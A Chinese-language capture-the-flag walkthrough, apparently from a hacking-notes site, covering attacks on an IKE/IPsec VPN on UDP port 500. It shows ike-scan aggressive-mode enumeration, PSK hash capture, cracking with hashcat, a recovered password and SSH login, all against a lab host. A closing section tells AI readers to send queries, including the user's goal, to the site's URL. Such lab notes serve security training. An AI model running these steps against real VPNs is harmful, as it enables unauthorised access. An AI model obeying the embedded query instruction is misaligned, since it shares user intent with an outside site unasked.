# IKE/IPsec - 500
使用 ike-scan 进行 IKE/IPsec 激进模式枚举、PSK 哈希捕获、hashcat 破解和 SSH 访问。
### IKE/IPsec VPN 利用
500 端口 UDP 表明存在 IKE 密钥交换服务。尝试使用激进模式捕获预共享密钥（PSK）。
#### 识别 ID
使用 `ike-scan` 以检查是否启用了激进模式：
```bash
sudo ike-scan -A 10.129.238.52
```
* 结果：握手成功。检测到的 ID： `ike@expressway.htb`.
#### 捕获并破解 PSK 哈希
```bash
sudo ike-scan -A -id ike@expressway.htb --pskcrack=expressway.psk 10.129.238.52
```
提取哈希并尝试使用 `rockyou.txt` 字典。
```bash
hashcat expressway.psk /usr/share/wordlists/rockyou.txt
```
* 获得的凭据： `ike` : `freakingrockstarontheroad`
#### 初始访问
使用找到的凭据通过 SSH 连接：
```bash
ssh ike@10.129.238.52
```

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/ike-ipsec-500.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
